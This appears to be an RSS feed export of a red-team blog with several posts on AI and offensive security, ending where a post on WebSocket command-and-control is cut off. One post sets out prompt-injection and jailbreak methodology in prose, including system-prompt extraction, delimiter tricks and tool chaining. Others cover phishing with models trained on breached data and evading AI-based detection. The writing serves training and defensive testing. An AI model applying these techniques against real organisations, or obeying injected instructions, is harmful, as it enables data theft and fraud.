<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[100 Days of Red Team]]></title><description><![CDATA[Learn red team concepts, tools, techniques and tradecraft with me, one day at a time.]]></description><link>https://www.100daysofredteam.com</link><image><url>https://substackcdn.com/image/fetch/$s_!sLHZ!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19163ba8-5f2e-4d5f-9801-56cae2aea701_837x837.png</url><title>100 Days of Red Team</title><link>https://www.100daysofredteam.com</link></image><generator>Substack</generator><lastBuildDate>Tue, 28 Apr 2026 20:33:56 GMT</lastBuildDate><atom:link href="https://www.100daysofredteam.com/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[Uday Mittal]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[100daysofredteam@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[100daysofredteam@substack.com]]></itunes:email><itunes:name><![CDATA[Uday Mittal]]></itunes:name></itunes:owner><itunes:author><![CDATA[Uday Mittal]]></itunes:author><googleplay:owner><![CDATA[100daysofredteam@substack.com]]></googleplay:owner><googleplay:email><![CDATA[100daysofredteam@substack.com]]></googleplay:email><googleplay:author><![CDATA[Uday Mittal]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[When phishing awareness starts learning from real attacks]]></title><description><![CDATA[Learn how organizations can use LLMs trained on real phishing emails to improve awareness programs.]]></description><link>https://www.100daysofredteam.com/p/when-phishing-awareness-starts-learning-from-real-attacks</link><guid isPermaLink="false">https://www.100daysofredteam.com/p/when-phishing-awareness-starts-learning-from-real-attacks</guid><dc:creator><![CDATA[Uday Mittal]]></dc:creator><pubDate>Tue, 13 Jan 2026 17:14:49 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/ddfbbe0f-7a65-46e8-92aa-ea5bd8557646_1536x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Most organizations receive a large number of spam and phishing emails every day. Email security gateways filter these messages, label them, and block many of them before they reach users. After that, the emails usually sit in logs or archives and are rarely used again.</p><p>At the same time, phishing awareness programs continue to rely on simulated emails that are often generic. These simulations are usually based on common templates and broad attack patterns. They are not always tied to what the organization is actually seeing in the real world.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><p>This creates a gap. Real attackers keep changing their techniques, while awareness training often stays the same.</p><h3>Turning email filters into a training pipeline</h3><p>Now consider a different approach.</p><p>Email filtering tools already see real phishing emails every day. They collect the full content of the message, along with metadata such as sender domains, subjects, themes, and timing. Over time, this becomes a large and realistic dataset of attacker behavior.</p><p>An organization could take this data, clean it, remove sensitive information, and use it to train an internal large language model (LLM). That model could then be connected to the phishing awareness platform.</p><p>Instead of using static templates, the awareness tool could generate emails that closely resemble the phishing emails the organization actually receives.</p><p>From a defender&#8217;s point of view, this approach makes sense.</p><p>It uses data the organization already has. It reduces the gap between real attacks and training exercises. It produces phishing simulations that match the organization&#8217;s industry, vendors, and communication style.</p><p>Users are no longer trained on generic examples. They are trained on emails that look similar to what attackers are really sending.</p><p>For security teams looking to improve awareness metrics and make training more relevant, this idea is likely to be appealing. As AI adoption grows, it is reasonable to expect that some organizations will try this.</p><p>At this point, the threat model changes.</p><h3>Why this LLM will need to be red teamed?</h3><p>If an organization uses an LLM trained on real phishing emails to drive awareness training, that model becomes part of the security system. It influences how users learn, what they recognize as suspicious, and how they respond to future emails. Any system that shapes user behavior in this way needs to be tested from an attacker&#8217;s perspective before it is trusted.</p><p>From a red team point of view, this is not about challenging the idea itself. It is about validating how the model behaves when exposed to adversarial input and understanding the assumptions it makes. At a minimum, red teams should focus on the following areas:</p><ul><li><p><strong>Training data influence and drift</strong> - Test how repeated phishing patterns affect the model&#8217;s output, since attackers already influence part of the training data through volume.</p></li><li><p><strong>Coverage of rare and high-context attacks</strong> - Test whether the model can simulate low-frequency, targeted phishing, not just common and well-represented patterns.</p></li><li><p><strong>Bias from automated email classification</strong> - Test how upstream filtering and labeling decisions shape what the model learns, as the LLM only sees what other systems classify as phishing.</p></li><li><p><strong>Exposure of organizational signals in generated content</strong> - Test whether generated awareness emails reflect internal language, vendors, or workflows that could be inferred over time.</p></li></ul><p>Red teaming this type of system is not about blocking innovation. It ensures that the model behaves as expected when it is exposed to real attacker behavior.</p><pre><code><strong>TL;DR</strong>
- Organizations can use LLMs trained on real phishing emails to generate more realistic awareness campaigns.
- Red teaming is needed to ensure the model behaves as expected under adversarial conditions.
- Key areas to test:
  - Training data influence and drift
  - Coverage of rare and targeted phishing attacks
  - Bias from automated email classification
  - Exposure of internal organizational signals</code></pre><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><p></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Weaponizing Organization Data - The Rise of target-specific LLMs]]></title><description><![CDATA[Taking a page from DarkBERT&#8217;s book to predict the future of Red Teaming. Moving towards LLMs specifically trained for target organizations.]]></description><link>https://www.100daysofredteam.com/p/weaponizing-organization-data-rise-target-specific-llm</link><guid isPermaLink="false">https://www.100daysofredteam.com/p/weaponizing-organization-data-rise-target-specific-llm</guid><dc:creator><![CDATA[Uday Mittal]]></dc:creator><pubDate>Fri, 02 Jan 2026 14:35:28 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/0314620b-c24d-4afe-a809-74aa685b89d0_698x379.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><a href="https://aclanthology.org/2023.acl-long.415.pdf">Recent research into DarkBERT</a>&#8212;a language model trained specifically on Dark Web data&#8212;has shown that AI performs significantly better when it understands the specific language of its environment. While DarkBERT was built to help researchers identify cyber threats, the methodology behind it provides a blueprint for modern red teaming.</p><p>Standard AI models are trained on general internet data, which often results in a &#8220;Surface Web&#8221; bias. When applied to a specific organization, these general models fail to capture the unique tone, acronyms, and internal habits of the employees. A red team can bridge this gap by training a locally hosted model on target-specific data to create highly customized social engineering campaigns and identify internal behavioral patterns.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><h4>The Target-Specific Model</h4><p>The core idea is to move away from generic AI and toward a model that understands a specific company&#8217;s &#8220;internal language.&#8221; If a red team can access internal communications, documentation, or even public-facing technical blogs, they can fine-tune a model to mimic that specific environment.</p><p>This allows for the creation of phishing emails that are nearly indistinguishable from actual internal correspondence. Instead of using generic corporate templates, the model uses the exact vocabulary and tone common within a specific department. This level of customization makes traditional &#8220;red flags&#8221; in phishing&#8212;such as unusual phrasing or slightly off-brand language&#8212;almost non-existent.</p><h4>Identifying Hidden Patterns</h4><p>Beyond social engineering insights, these models can be used to extract deep intelligence from an attacker&#8217;s perspective. By feeding the model large volumes of internal data, a red team can identify systemic weaknesses or even sensitive intellectual property.</p><p>For example, an attacker might feed the model technical documentation and project discussions to infer an organization&#8217;s trade secrets or upcoming product details. Once this information is extracted, it can be used as leverage for extortion or to gain a competitive advantage. Effectively, the AI acts as a specialized analyst that can connect dots across millions of lines of text to find the organization&#8217;s most valuable information.</p><h4>Re-purposing Leaked Data</h4><p>The most dangerous application of this tactic involves using data from past security incidents. If an organization was involved in a previous data breach, an attacker could take that dumped data and use it to train a new model.</p><p>This process essentially creates a working map of the organization&#8217;s internal knowledge based on historical files. Even if the organization has since improved its security, the attacker now has a tool that understands the historical context of the company. They can use this to craft attacks that reference real past projects, people, or internal issues, making their attacks highly credible because they are grounded in the company&#8217;s actual history.</p><h4>The Shift to AI-Driven Red Team Operations</h4><p>This approach marks a major shift in how we think about &#8220;stolen data.&#8221; Historically, a data breach meant an immediate loss of credentials or financial info. Now, stolen data has a long-term &#8220;half-life.&#8221; Even old, non-sensitive internal text becomes a training set that helps an attacker understand exactly how your organization thinks and operates. The data isn&#8217;t just a trophy anymore; it is the fuel for a custom-built weapon.</p><p>However, the ability to build these custom weapons is not yet universal. Just because an attacker has the data does not mean they can instantly use it. There is a wide gap between owning a data dump and successfully training a domain-specific model that produces reliable results. Moving from a general model to a highly specialized one requires a specific set of resources that most red teams&#8212;and many organizations&#8212;might not have access to.</p><h4>Constraints and Feasibility</h4><p>There are significant hurdles to this approach that must be evaluated:</p><ul><li><p><strong>Hardware and Time</strong> - Training or fine-tuning a model like DarkBERT is resource-intensive. The researchers used four NVIDIA A100 80GB GPUs and took 15 days to complete the process. For a red team, the cost of specialized hardware and the time required may not always make economic sense for an engagement.</p></li><li><p><strong>Data Availability</strong> -  A red team is limited by what the client is willing to share. Most organizations are hesitant to provide the massive amounts of internal text data required to train an effective model.</p></li><li><p><strong>Attacker Advantage</strong> - Unlike red teams, motivated attackers are not bound by time limits, legal permissions, or monetary constraints. They can spend significant funds on computing power and leverage stolen data from any source, taking months to refine their models for a single high-value target.</p></li></ul><p>The success of DarkBERT proves that domain-specific AI is the future of both defense and offense. For red teams, the next step is moving toward target-specific AI. While hardware and data remain a constraint today, the decreasing cost of local LLM execution means this tactic will soon become a standard part of high-tier adversarial simulations. Understanding how an attacker might use your own data to train a model against you is a critical new frontier in risk assessment.</p><pre><code><strong>TL;DR
</strong>- Research shows that language models like DarkBERT perform better when trained on data specific to their environment.
- Standard AI models are trained on general data like Wikipedia, making them less effective at understanding internal corporate language.
- Red teams can use internal documents to train models that mimic a company&#8217;s exact tone, making phishing attempts nearly impossible to detect.
- Specialized models can connect disparate pieces of internal data to uncover trade secrets or systemic security habits.
- Attackers can use data from previous breaches to create models that understand an organization's historical context.
- While powerful, this approach requires significant GPU hardware and time, which may favor attackers over red teams.</code></pre><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p>]]></content:encoded></item><item><title><![CDATA[5 AI Trends That Redefined Red Teaming in 2025]]></title><description><![CDATA[Learn about the 5 biggest AI trends in red teaming for 2025.]]></description><link>https://www.100daysofredteam.com/p/5-ai-trends-that-redefined-red-teaming</link><guid isPermaLink="false">https://www.100daysofredteam.com/p/5-ai-trends-that-redefined-red-teaming</guid><dc:creator><![CDATA[Uday Mittal]]></dc:creator><pubDate>Wed, 31 Dec 2025 14:30:47 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/d19d9764-dc76-424a-a45c-55fae9650e96_698x379.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Red teaming has always been a game of cat and mouse. But in 2025, the &#8220;mouse&#8221; just got a jet-pack. <a href="https://www.100daysofredteam.com/t/ai">Artificial Intelligence is no longer a futuristic concept for offensive security</a>; it is the primary engine driving how we find and exploit weaknesses.</p><p>Here are the five biggest AI-related developments you need to know to stay ahead.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><h4>1. The Rise of AI-Powered Red Teaming</h4><p>We are seeing a massive shift from manual, &#8220;point-in-time&#8221; testing to continuous, AI-driven platforms. According to <a href="https://dataintelo.com/report/ai-red-teaming-market">2024/2025 market data from Dataintelo</a>, the AI Red Teaming market has already surpassed $1.12 billion.</p><p>Why the sudden boom? Traditional testing is too slow for modern DevOps. Companies are now using AI platforms to simulate attacks 24/7. These tools don&#8217;t sleep, and they can find misconfiguration in cloud stacks or exposed APIs before a human tester even opens their laptop.</p><h4>2. Offensive Tools are Everywhere</h4><p>The &#8220;barrier to entry&#8221; for high-level hacking has collapsed. In the past, you needed a PhD-level understanding of exploits. Today, tools like <a href="https://kratikal.com/blog/top-ai-driven-pentest-tools/">PentestGPT and AutoSecT</a> allow even junior enthusiasts to run complex reconnaissance.</p><p>Research from the <a href="https://hai.stanford.edu/ai-index/2025-ai-index-report">Stanford AI Index 2025</a> shows that the performance gap between &#8220;closed&#8221; models (like GPT-4) and &#8220;open-weight&#8221; models has shrunk to just 1.7%. This means attackers can download powerful, uncensored AI models and run them locally to build custom malware without any &#8220;guardrails&#8221; stopping them.</p><h4>3. Attacking the AI Itself (Adversarial Testing)</h4><p>We used to focus on breaking the server. Now, <a href="https://genai.owasp.org/resource/genai-red-teaming-guide/">we are breaking the logic inside the AI</a>. This is called Adversarial Testing. Organizations are realizing that their AI models can be &#8220;poisoned&#8221; or tricked.</p><p>In response, <a href="https://csrc.nist.gov/pubs/ai/100/2/e2025/final">NIST released the AI 100-2e2025 taxonomy</a>, a new standard for identifying AI-specific attacks like &#8220;prompt injection&#8221; and &#8220;data poisoning.&#8221; Red teamers are now tasked with trying to make a company&#8217;s AI leak customer data or give bad advice. If you aren&#8217;t testing how your model handles &#8220;malicious inputs,&#8221; you&#8217;re leaving the front door wide open.</p><h4>4. Social Engineering Gets a Personality</h4><p>Social engineering used to be easy to spot&#8212;bad grammar and weird email addresses. That era is over. <a href="https://www.microsoft.com/en-us/security/security-insider/threat-landscape/microsoft-digital-defense-report-2025#:~:text=Speed%2C%20Scale%2C%20Sophistication,Threat%20landscape">The Microsoft Digital Defense Report 2025 (released October 2025)</a> states that AI-driven phishing is now three times more effective than traditional campaigns in terms of click-through rates</p><p>AI can now scan a target&#8217;s LinkedIn, read their public posts, and write an email that sounds exactly like their boss. Even worse, &#8220;vishing&#8221; (voice phishing) has become terrifyingly accurate. <a href="https://zerothreat.ai/blog/deepfake-and-ai-phishing-statistics">Attackers use AI to clone an executive&#8217;s voice in seconds to authorize wire transfers</a>. For red teamers, this means our &#8220;pretexting&#8221; is now more believable than ever.</p><h4>5. The Workforce: Human + Machine</h4><p>There is a common fear that AI will replace red teamers. The data says otherwise. The <a href="https://www.isc2.org/Insights/2025/12/a-focus-on-skills-isc2-workforce-study">2025 ISC2 Cybersecurity Workforce Study</a> highlights that while AI is &#8220;shaking up&#8221; the industry, professionals who use AI tools are actually more optimistic about their careers.</p><p>The trend for 2025 is the &#8220;Hybrid Model.&#8221; AI handles the boring stuff&#8212;like scanning thousands of lines of code or writing report drafts. This frees up the human red teamer to do what AI can&#8217;t: think creatively and find the &#8220;logic flaws&#8221; that require a gut feeling. AI is the power tool, but the human is still the architect.</p><h4>Staying Sharp</h4><p>The world of offensive security is moving at &#8220;AI speed.&#8221; To keep up, red teams must invest in tools that attack the model, and red team operators must learn to prompt as well as they script. The goal isn&#8217;t just to use AI, but to understand how the enemy is using it against you.</p><pre><code><strong>TL;DR
</strong>-<strong> </strong>AI Red Teaming is now a billion-dollar industry.
- Open-source AI tools are now nearly as powerful as private ones.
- Red teams aren&#8217;t just testing code anymore; They are attacking the AI models themselves.
- AI-generated phishing has become three times more effective.
- The best red teamers aren't replaced by AI; they use it to move faster.</code></pre><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Heuristics vs AI Detection: What Actually Changed for Red Teams]]></title><description><![CDATA[Learn how AI-based security differs from traditional signature-based and heuristics-based detection, changing how alerts, risk, and evasion work in modern environments.]]></description><link>https://www.100daysofredteam.com/p/heuristics-vs-ai-detection-what-actually-changed-for-red-teams</link><guid isPermaLink="false">https://www.100daysofredteam.com/p/heuristics-vs-ai-detection-what-actually-changed-for-red-teams</guid><dc:creator><![CDATA[Uday Mittal]]></dc:creator><pubDate>Tue, 30 Dec 2025 14:31:28 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/09286c96-7c76-4447-911f-64a1ba8efa02_1536x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Security teams have used behavior-based detection for a long time. Heuristics, rules, and correlation engines are not new. So when vendors talk about AI-enabled security controls, it is fair to ask what actually changed. From a red team perspective, the answer is not about new signals. It is about how decisions are made. </p><p>AI-based controls change how risk is calculated, how context is applied, and how evasion works in practice. Understanding that difference is critical if a red team wants to stay effective.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><h3>Why this is not just heuristics detection?</h3><p>Heuristic detection looks at behavior and combinations of signals. That part is not new. The key difference with AI-enabled controls is how those signals are weighted, correlated, and adapted over time.</p><h4><strong>Heuristics use fixed logic</strong></h4><p>Heuristic systems rely on rules defined ahead of time. Each rule has a known purpose and usually a known threshold.</p><p>For example:</p><ul><li><p>If PowerShell runs with certain flags, add risk.</p></li><li><p>If a process spawns another process in an unusual way, add risk.</p></li><li><p>If several rules trigger together, raise an alert.</p></li></ul><p>Even if the logic is complex, it is still static. The same behavior produces the same result every time unless a human changes the rules.</p><h4><strong>AI-enabled systems learn what &#8220;normal&#8221; looks like</strong></h4><p>AI-based systems build a baseline from historical data. They learn what is common <em>in that specific environment</em>.</p><p>For example:</p><ul><li><p>PowerShell may be normal for IT admins.</p></li><li><p>The same PowerShell usage may be rare for finance users.</p></li><li><p>Some process chains may be common on servers but not on laptops.</p></li></ul><p>The model adjusts risk based on how activity compares to that baseline, not just whether a rule matches.</p><h4><strong>Risk is continuous, not step-based</strong></h4><p>Heuristic systems tend to work in steps. A rule triggers or it does not.</p><p>AI-enabled systems assign <strong>gradual risk</strong>.</p><ul><li><p>One action adds a little risk.</p></li><li><p>Another adds a bit more.</p></li><li><p>The alert fires only when the combined score crosses a threshold.</p></li></ul><p>From a red team perspective, this matters because:</p><ul><li><p>You can influence risk without fully avoiding detection.</p></li><li><p>Small changes can shift outcomes.</p></li><li><p>Behavior matters more than individual actions.</p></li></ul><h4><strong>Heuristics explain decisions, AI often does not</strong></h4><p>With heuristics, defenders can usually tell you <em>why</em> something fired. A rule name, a condition, or a signature is visible.</p><p>With AI-based detection:</p><ul><li><p>The reasoning is often opaque.</p></li><li><p>Vendors may not expose which signals mattered most.</p></li><li><p>The same action may be benign one day and suspicious another, depending on context.</p></li></ul><p>This uncertainty is exactly what red teams exploit.</p><p>These differences change how evasion works and this is why adversarial attacks against AI-enabled security controls deserve separate attention. They are not about attacking the model itself. They are about understanding how risk is calculated and learning how to influence it. Red teams that treat AI-based detection like traditional heuristics will miss opportunities.</p><pre><code><strong>TL;DR
</strong>- Traditional heuristic detection uses static rules and known indicators whereas AI-enabled security learns normal behavior within the environment.
- With AI-enabled detection the context matters. Same action can have different risk levels for different users or times.
- Risk is treated as a continuous value, accumulating gradually rather than in discrete steps.
- Explainability is limited in AI systems; outcomes depend on context, not just explicit rules.</code></pre><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Operationalizing Prompt Injection and AI Jailbreaks]]></title><description><![CDATA[Learn how red teams can abuse AI vulnerabilities like prompt injection and jailbreak in real-world enterprise environments.]]></description><link>https://www.100daysofredteam.com/p/operationalizing-prompt-injection-ai-jailbreak</link><guid isPermaLink="false">https://www.100daysofredteam.com/p/operationalizing-prompt-injection-ai-jailbreak</guid><dc:creator><![CDATA[Uday Mittal]]></dc:creator><pubDate>Mon, 29 Dec 2025 14:52:50 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/f7a71af6-04be-4019-9160-1ff2f8310c3e_1536x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Prompt injection has become a practical risk in enterprise environments. While much of the public discourse focuses on tricking consumer chatbots into saying prohibited words, the real risk for organizations lies in how <a href="https://www.microsoft.com/en-us/microsoft-365-copilot">Large Language Models (LLMs) are integrated into internal workflows</a>. This trust creates a new class of security issues. Instead of injecting code, attackers inject instructions. If those instructions influence decisions or actions, the impact can be serious.</p><p>To understand the attack surface, we must look at the typical enterprise architecture. An LLM often sits between a user interface and a backend database or internal API, acting as a reasoning engine. It takes a system prompt, which defines its rules and capabilities, and concatenates it with user input. This combined text is processed to generate a response or trigger an action. The vulnerability arises because LLMs cannot inherently distinguish between instructions (the system prompt) and data (the user input). If an attacker can craft input that the model interprets as a new instruction, they can override the system's intended logic. This is functionally similar to SQL injection, where data masquerades as code to alter a query.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><p>From a red team perspective, it is useful to distinguish between <a href="https://genai.owasp.org/llmrisk/llm01-prompt-injection/">prompt injection</a> and <a href="https://www.ibm.com/think/insights/ai-jailbreak">jailbreaking</a>, although they often overlap. Jailbreaking typically refers to bypassing the safety guardrails trained into the model itself, such as forcing it to generate hate speech or dangerous instructions. Prompt injection, however, targets the application logic surrounding the model. It involves subverting the specific instructions given to the model by the developers. For enterprise assessments, prompt injection is generally the higher-value target because it leads to business logic bypasses, whereas jailbreaking often results only in reputational damage or policy violations.</p><p>High-impact scenarios appear when these <a href="https://www.ibm.com/think/topics/ai-workflow">models are connected to real workflows</a>. Internal assistants are a common example. These assistants may summarize incidents, answer employee questions, or explain alerts. If an attacker can insert instructions into user input or referenced data, they may influence how the assistant behaves. This can lead to disclosure of internal information or misleading guidance. In some cases, the assistant may reveal parts of its internal logic or system instructions.</p><p>The real power of prompt injection comes from <a href="https://www.youtube.com/watch?v=Xmond63yRWk">chaining it with other vulnerabilities or tool capabilities</a>. Many enterprise LLMs are now equipped with "tools" or plugins that allow them to query databases, send emails, or execute code. If a model has access to a Python interpreter to perform data analysis, a successful injection can convince the model to execute arbitrary Python code. Similarly, if the model can query a customer database, an injection can trick it into dumping records that the current user should not have access to. The LLM effectively becomes a confused deputy, performing privileged actions on behalf of the attacker.</p><p>Testing for these vulnerabilities requires <a href="https://genai.owasp.org/initiatives/red-teaming-initiative/">a methodical approach</a>. A red team engagement should start by mapping all entry points where user data feeds into the LLM. This includes direct chat inputs, but also indirect sources like file uploads or scraped web content. Testers should attempt to define the system prompt by asking the model to reveal its instructions. Once the constraints are known, the goal is to craft inputs that delimit the original instructions and introduce new high-priority commands. Techniques often involve using formatting cues, such as special delimiters or markdown, to confuse the model's parsing structure.</p><p>To sharpen your skills, I highly recommend practicing on purpose-built CTF platforms like <strong><a href="https://gandalf.lakera.ai/">Lakera&#8217;s Gandalf</a></strong> or the <strong><a href="https://promptairlines.com/">Prompt Airlines</a></strong> challenge.</p><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Leveraging WebSockets for Command and Control (C2) Communications]]></title><description><![CDATA[A proof of concept to explore how WebSockets can be leveraged for C2 communications and should they be?]]></description><link>https://www.100daysofredteam.com/p/leveraging-websockets-for-c2-communications</link><guid isPermaLink="false">https://www.100daysofredteam.com/p/leveraging-websockets-for-c2-communications</guid><dc:creator><![CDATA[Uday 